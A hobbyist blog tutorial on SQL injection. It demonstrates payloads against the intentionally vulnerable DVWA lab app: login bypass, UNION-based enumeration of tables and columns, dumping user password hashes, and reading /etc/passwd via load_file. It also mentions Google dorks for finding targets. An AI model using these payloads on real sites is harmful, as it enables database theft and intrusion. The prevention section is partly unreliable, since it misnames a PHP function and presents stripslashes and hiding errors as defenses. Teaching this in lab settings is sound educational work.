Hello all!
It's been a long time since I wrote my last article about
password strength. I've had my semester end exams going on and finally they're
over! :D Now holidays are a great way to engage in the stuff you like to do...
so here I am. Coming up is an article about SQL injection in web applications.
SQL Injection -
SQL Injection is a web application attack. Through SQL Injection, we can insert
rogue SQL commands in a web form field (e.g. login pages). It is possible to
extract whole databases of MySQL or MSSQL stored on a server. This input
validation vulnerability is caused by incorrect filtering of escape characters
which may manipulate the SQL query going from a web application to the
database. SQL Injection is one of the top application security risks as stated
by OWASP.
How it works -
Consider a simple login form. It has two fields - username and password. When a
user is authenticated through this login, an SQL query is sent to the database
which looks like this:
SELECT username, password FROM usersdb WHERE
username=$user;
$user is the username which is entered through login. An
example would be--
SELECT username, password FROM usersdb WHERE
username='vipul';
User can manipulate the data entered so as to escape out of
the username value and whatever written thereafter will be treated as a
part of SQL query being sent. If the attacker entered "abc' OR 1=1--"
The resulting SQL query will look like following--
SELECT username, password FROM usersdb WHERE
username='abc' OR 1=1--';
Notice that the single quote after 'abc' closed the username
field and the following part becomes SQL query. But what's that OR 1=1-- ??
'OR' is a conjunction in SQL syntax and 1=1 is a condition
that will always evaluate to true. So, irrespective of whatever you enter in
the user field, this condition holds true, and hence, it will essentially
return all of the records in the 'userdb' database. The "--" is a
comment in SQL. It is used to tell the SQL server to ignore everything that is
written afterwards. Here we use comment to avoid getting errors because of that
trailing single quote (') which does not match anywhere. Sometimes, '#' is also
used to indicate beginning of a comment.
With the knowledge of SQL, one can manipulate the query with union, concat,
select statements which have the potential to extract username passwords,
insert, modify, delete records, and in the worst case, create a php shell which
may lead to total compromise of the system.
Finding SQL Injection vulnerability -
A standard test to see if a web form is vulnerable to SQL injection is by
putting a single quote in the field. If you get back a MySQL error, the website
is most likely vulnerable to SQL injection. However, absence of a returning
MySQL error doesn't imply that website is protected against SQL injection at
all.
Sometimes, the returning error could be present inside the
source of the webpage. Also, different developers have developed their web
applications differently. The structure and syntax of SQL query may also vary
from site to site. The same generic 'true condition' approach may not work with
all websites. Attacker may have to try different combinations from SQL Cheat sheets.
Some developers implement Javascript validation at the client
side which prevents user from making request that has quotes (') in it.
Javascript validation offers no security to the actual execution of SQL
statements.
Also, whenever an SQL error occurs, the developer may return
a generic page with no information at all. In such a case, blind SQL injection
is used which is very difficult but not impossible to execute.
Different Google dorks are available to search specifically
for SQL injection vulnerabilities. A google search will reveal them. Also,
exploit-db has got a nice collection of all types of google dorks which is a
must-see for people wanting to learn hacking.
Trying SQL injection on public websites may land you in trouble... Hence it is
always better to try this on your local machine.
Installing and running DVWA on webserver-
First of all, you need to have a web server on which you can host your web
application to be exploited. Windows users can download WAMP server from Here. There is another very popular
distribution called XAMPP server for windows as well as linux. Choice is yours.
I wont go into the details of installing and running the
server. There are lots of tutorials you can google for. If you get stuck up
anywhere, let me know through comments below.
Also, download the DVWA application from here. DVWA stands for 'Damn Vulnerable Web
Application' and is specifically designed for security professionals to test
their skills. After downloading, extract the contents to a folder 'dvwa' under
your webroot directory.
Generally, for windows users with wamp, it should be:
C:\wamp\www
And for xampp users,
Windows : C:\xampp\htdocs\
Linux : /opt/lampp/xampp/
But it may vary depending on your individual installation.
Soo.. after the installation, try accessing
http://localhost/dvwa/
from your web browser. It should present you with a screen
like this...
This is the main login screen of DVWA. Log in with:
Username = admin
Password = password
(I know.. but weak password doesn't matter since it is damn
vulnerable! :P)
It will show the main page with some warnings and
disclaimers.
From the menu, open the 'dvwa security' tab and set the
'script security' setting to 'low'. Also make sure that PHPIDS is turned off.
Now you're ready to execute SQL Injection. Make sure your
browser security plugins are turned off because they might interfere in the
process.
Performing SQL injection -
For this tutorial, I've installed DVWA on a windows server
and will be exploiting it from my ubuntu linux inside vmware. If you get the
'forbidden' error while accessing the directory from other machines or vmware,
open the .htaccess file and make the following changes in
it...
Then restart the server and go to the SQL Injection tab.
Our scope will be limited to extracting username and password
from the database for this tutorial. However, as I mentioned earlier, you can
do a lot more things with SQL commands.
The following paras are divided into 3 parts.. text input
(the text to be entered into the user ID textbox), resulting SQL query (the
query that gets sent to the server) followed by result and explanation.
Input : 1
SQL Query : SELECT firstname, surname FROM users WHERE
userid='1';
Result :
ID: 1
First name: admin
Surname: admin
Nothing surprising here, you enter the user ID, you get their
name. Similarly, try entering 2,3 etc.
Input : a' OR 1=1--
SQL Query : SELECT firstname, surname FROM users
WHERE userid='a' OR 1=1--;
Result :
You
have an error in your SQL syntax; ...
So the page says error is near " ' ",
probably our '--' comment isn't working, lets replace that with '#'.
Input : a' OR 1=1 #
SQL Query : SELECT firstname, surname FROM users WHERE userid='a'
OR 1=1 #;
Whoa! That pulled out whole record of firstname and surnames!
Ideally, it should return only one (mostly, first) record.. but its not called
dvwa for nothing! ;)
Input : a' ORDER BY 1 #
SQL Query : SELECT firstname, surname FROM users WHERE userid='a'
ORDER BY 1 #;
Result : Nothing
We use the 'order by' statement to determine number of columns in
the SQL query. Replace "order by 1" with "order by 1,2" and
so on until you get an error.
Unknown column '3' in
'order clause'
So there are only two columns in the returning SQL statement. Fair
enough.
Input : a' UNION SELECT 1,2#
SQL Query : SELECT firstname, surname FROM users WHERE userid='a'
UNION SELECT 1,2 #;
Result :
ID: a' union select 1,2 #
First name: 1
Surname: 2
Union statement is used to combine two statements. We input 1 and
2.. and that's what we get in the "First name" and
"Surname" field.
Now replace 1 and 2 with @@version, user(), @@hostname, database()
and this will fetch you interesting information.
Input : a' UNION SELECT
table_name,null FROM information_schema.tables #
SQL Query : SELECT firstname, surname FROM users WHERE userid='a'
UNION SELECT table_name,null FROM information_schema.tables #;
Result
:
Whoa! That escalated quickly! According to SQL standards, there is
a standard database called 'information_schema' in every SQL installation. This
database holds information about all other tables and their respective columns.
Here we probe that database to find out that there are too many tables.. So,
we'll filter the result with WHERE clause.
Input : a' UNION SELECT
table_name,null FROM information_schema.tables WHERE table_schema=database() #
Result :
This will display the tables that are present in the current
database. Well, there are only 2, guestbook and users. Hmm, users look
interesting. Let's dig further.
Input : a' UNION SELECT
column_name,null FROM information_schema.columns WHERE table_schema=database()#
SQL Query : SELECT firstname, surname FROM users WHERE userid='a'
UNION SELECT column_name,null FROM information_schema.columns WHERE
table_schema=database()#;
Result :
comment_id, comment, name,
user_id, first_name, last_name, user, password, avatar (in the 'First name'
field)
Now we probe information_schema.columns which gives the columns
present in the current database. They maybe either from guestbook table or
users table. Out of these, 'users' and 'password' seem interesting and likely
to be placed in 'users' table. Now we perform the final query to extract
username and password.
Input : a' UNION SELECT user,password
FROM users #
SQL Query : SELECT firstname, surname FROM users WHERE userid='a'
UNION SELECT user,password FROM users#;
Result :
Bingo! There you see username and passwords! This query was
relatively simple. Now we've got the username and passwords. Passwords are md5
hashed and it should be easy to crack with any online tool or rainbow tables.
It is possible to load a file from remote server with SQL commands like -
SELECT firstname, surname FROM users WHERE userid='a' UNION SELECT
null,load_file('/etc/passwd') #;
Please note that there are some better and sophisticated SQL
queries for injection. I have kept this one relatively simple for the sake of
understanding.
Prevention against SQL Injection -
Sanitization of user input is must. Creating a whitelist of
accepted characters and limiting the length of user input is recommended. PHP
offers some inbuilt functions like mysql_real_escape() and stripslashes() which
can be used before query is passed. As we saw, performing SQL Injection becomes
possible primarily because displaying of SQL errors. So, avoid error messages
from popping up into webpage. Automated SQL Injection tools like sqlmap and
acunetix are also available which can be used to test the vulnerabilities of
your database.
I hope you enjoyed reading my article. :)